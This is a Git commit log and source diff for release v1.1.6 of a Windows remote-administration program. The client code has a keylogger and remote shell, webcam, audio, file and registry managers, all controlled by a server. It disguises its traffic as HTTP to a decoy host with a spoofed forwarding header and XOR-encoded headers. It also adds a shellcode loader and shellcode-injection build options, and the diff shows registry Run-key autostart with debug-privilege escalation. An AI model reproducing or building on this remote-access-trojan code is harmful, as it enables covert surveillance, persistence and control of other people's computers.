10 Commits

Author SHA1 Message Date
yuanyuanxiang
c36c177d4e Release v1.1.6 2025-09-11 14:53:07 +08:00
yuanyuanxiang
d545e268d1 Feature: Supports multiple remote displays (video wall) 2025-09-07 21:44:43 +08:00
yuanyuanxiang
d0b6b3938e Feature: Add client shellcode building option 2025-09-01 13:14:19 +08:00
yuanyuanxiang
f4ae2efbc7 Feature: Support setting the client building flag 2025-08-31 18:26:27 +08:00
yuanyuanxiang
34b00787d2 Improve: getPublicIP may fail and block mater program 2025-08-20 14:03:44 +08:00
yuanyuanxiang
43eb3dfba4 fix: Improve creating registry and injecting shellcode 2025-08-20 14:03:44 +08:00
yuanyuanxiang
4a706d4f7b Improve: Master using ZSTD_DCtx and using new RTT 2025-08-15 03:04:17 +08:00
yuanyuanxiang
e779fb0b51 Improve: Enable zstd multi-thread compression for client 2025-08-14 03:34:10 +08:00
yuanyuanxiang
303b5ef824 fix: #182 First command using HTTP protocol 2025-08-10 12:04:08 +02:00
yuanyuanxiang
493a476227 Feature: Support compression option when building client 2025-08-10 03:04:13 +08:00
60 changed files with 1263 additions and 364 deletions

View File

@@ -24,6 +24,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SCLoader", "client\SCLoader.vcxproj", "{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -72,6 +74,14 @@ Global
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.ActiveCfg = Debug|x64
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.Build.0 = Debug|x64
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.ActiveCfg = Debug|Win32
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.Build.0 = Debug|Win32
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.ActiveCfg = Release|x64
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.Build.0 = Release|x64
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.ActiveCfg = Release|Win32
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@@ -12,5 +12,5 @@
## lib
- [HPSocket vv6.0.3](https://github.com/ldcsaa/HP-Socket)
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)

View File

@@ -329,6 +329,22 @@ Release v1.1.4
* 修复:虚拟桌面控制支持多显示器
* 修复:按下 F1 键时避免自动打开网页
**2025.09.11**
发布版本 v1.1.6
本次更新新增了客户端压缩和构建配置功能,支持多屏幕显示(视频墙);优化了性能(如多线程压缩和 RTT 机制);修复了通信协议和注入相关问题。
* 功能:构建客户端时支持压缩选项
* 修复:#182 第一次命令使用 HTTP 协议
* 优化:为客户端启用 zstd 多线程压缩
* 优化Master 使用 ZSTD_DCtx并启用新的 RTT
* 修复:改进注册表创建和 shellcode 注入
* 优化getPublicIP 可能失败并阻塞主程序的问题
* 功能:支持设置客户端构建标志
* 功能:新增客户端 shellcode 构建选项
* 功能:支持多个远程显示器(视频墙)
---

View File

@@ -339,6 +339,21 @@ This version focuses on improving the remote control experience (especially mult
* fix: Virtual desktop control support multiple monitor
* fix: Avoid opening w web page when press F1
**2025.09.11**
Release v1.1.6
This update adds client compression and build options, supports multiple displays (video wall), improves performance (e.g., multi-threaded compression and RTT), and fixes protocol and injection issues.
* Feature: Support compression option when building client
* fix: #182 First command using HTTP protocol
* Improve: Enable zstd multi-thread compression for client
* Improve: Master using ZSTD_DCtx and using new RTT
* fix: Improve creating registry and injecting shellcode
* Improve: getPublicIP may fail and block mater program
* Feature: Support setting the client building flag
* Feature: Add client shellcode building option
* Feature: Supports multiple remote displays (video wall)
---

BIN
Releases/v1.1.6/Yama.exe Normal file

Binary file not shown.

View File

@@ -25,7 +25,8 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
}
BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->Send2Server((char*)&bToken, 1);
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;

View File

@@ -156,59 +156,7 @@ DWORD WaitForMultipleHandlesEx(
#if _CONSOLE
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char* sPath, const char* sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if (lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
#include "auto_start.h"
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
@@ -495,8 +443,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
iniFile cfg(CLIENT_PATH);
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
State& bExit(app.g_bExit);
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
if (nullptr == ClientObject) return -1;
CKernelManager* Manager = nullptr;
@@ -510,7 +460,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
}
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
while (app.m_bIsRunning(&app))
{
ULONGLONG dwTickCount = GetTickCount64();

View File

@@ -162,6 +162,7 @@
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
@@ -196,6 +197,7 @@
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\location.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />

View File

@@ -294,8 +294,8 @@ UINT CFileManager::SendDriveList()
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
}
return Send((LPBYTE)DriveList, dwOffset);
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask);
}

View File

@@ -23,15 +23,7 @@ inline int WSAGetLastError() { return -1; }
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define Z_FAILED(p) (0 == (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else
#include "zstd/zstd.h"
#include "common/zstd_wrapper.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
@@ -39,16 +31,15 @@ inline int WSAGetLastError() { return -1; }
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define ZSTD_CLEVEL 5
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
#if USING_CTX
#define compress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
#else
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -96,12 +87,14 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
}
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder) : g_bExit(bExit)
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder,
const std::string& pubIP) : g_bExit(bExit)
{
m_sLocPublicIP = pubIP;
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
m_EncoderType = encoder;
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
@@ -121,7 +114,15 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
#if USING_CTX
m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx();
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 4);
if (Z_FAILED(n)) {
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
}
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19);
#endif
}
@@ -379,7 +380,9 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
// UnMask
char* src = (char*)m_CompressedBuffer->GetBuffer();
ULONG srcSize = m_CompressedBuffer->GetBufferLength();
ULONG ret = m_masker->UnMask(src, srcSize);
PkgMaskType maskType = MaskTypeUnknown;
ULONG ret = TryUnMask(src, srcSize, maskType);
// ULONG ret = m_masker->UnMask(src, srcSize);
m_CompressedBuffer->Skip(ret);
if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
break;
@@ -391,7 +394,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
HeaderEncType encType = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encType);
if (flagType == FLAG_UNKNOWN) {
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType);
m_CompressedBuffer->ClearBuffer();
break;
}
@@ -449,9 +452,9 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello
{
AUTO_TICK(50);
AUTO_TICK(40);
assert (ulOriginalLength > 0);
{
int cmd = BYTE(szBuffer[0]);
@@ -462,8 +465,6 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
//destLen = 448
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
#elif USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
@@ -494,22 +495,26 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
if (CompressedBuffer != buf) delete [] CompressedBuffer;
STOP_TICK;
// <20>ֿ鷢<D6BF><E9B7A2>
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd);
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask);
}
}
// 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd)
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask)
{
AUTO_TICK(50);
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
return FALSE;
// Mask
char* szBuffer = nullptr;
ULONG ulLength = 0;
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
AUTO_TICK(25);
(mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) :
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
if(szBuffer != src && srcSize > ulSplitLength){
Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize);
}
bool isFail = false;
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
const char* Travel = szBuffer;

View File

@@ -111,7 +111,8 @@ typedef BOOL(*TrailCheck)(void);
class IOCPClient
{
public:
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0);
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,
const std::string&pubIP="");
virtual ~IOCPClient();
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
@@ -122,8 +123,17 @@ public:
}
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
return OnServerSending(szBuffer, ulOriginalLength);
std::string GetClientIP() const {
return m_sLocPublicIP;
}
std::map<std::string, std::string> GetClientIPHeader() const {
return m_sLocPublicIP.empty() ? std::map<std::string, std::string>{} :
std::map<std::string, std::string>{ {"X-Forwarded-For", m_sLocPublicIP} };
}
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) {
return OnServerSending(szBuffer, ulOriginalLength, mask);
}
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
@@ -162,10 +172,10 @@ protected:
virtual int SendTo(const char* buf, int len, int flags) {
return ::send(m_sClientSocket, buf, len, flags);
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd);
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
protected:
sockaddr_in m_ServerAddr;
@@ -190,4 +200,5 @@ protected:
bool m_exit_while_disconnect;
PkgMask* m_masker;
BOOL m_EncoderType;
std::string m_sLocPublicIP;
};

View File

@@ -17,16 +17,16 @@
#include "IOCPKCPClient.h"
// UDP 协议仅能针对小包数据,且数据没有时序关联
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
if (conn->protoType == PROTO_HTTPS) return NULL;
int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType;
if (!conn->IsVerified() || type == PROTO_TCP)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
if (type == PROTO_UDP)
return new IOCPUDPClient(bExit, exit_while_disconnect);
if (type == PROTO_HTTP || type == PROTO_HTTPS)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP);
if (type == PROTO_KCP) {
return new IOCPKCPClient(bExit, exit_while_disconnect);
}
@@ -34,10 +34,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
return NULL;
}
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) {
static ThreadInfo tKeyboard;
tKeyboard.run = FOREVER_RUN;
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
tKeyboard.conn = conn;
tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
return &tKeyboard;
@@ -56,7 +56,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
#else
m_settings = { 0 };
#endif
m_nNetPing = -1;
m_nNetPing = {};
m_hKeyboard = kb;
}
@@ -377,6 +377,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn;
}
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0])
{
@@ -478,7 +479,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -520,10 +521,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
m_nNetPing.update_from_sample(GetUnixMs() - n);
}
break;
case CMD_MASTERSETTING:
@@ -536,7 +534,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_hKeyboard) {
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
}
break;
@@ -544,7 +542,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
@@ -552,21 +550,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHELL:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SYSTEM: //远程进程管理
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WSLIST: //远程窗口管理
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -595,7 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
}
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
@@ -603,7 +601,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_LIST_DRIVE :
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -612,28 +610,28 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
static bool hasCamera = WebCamIsExist();
if (!hasCamera) break;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_AUDIO:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_REGEDIT:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SERVICES:
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}

View File

@@ -21,9 +21,9 @@
#include "LoginServer.h"
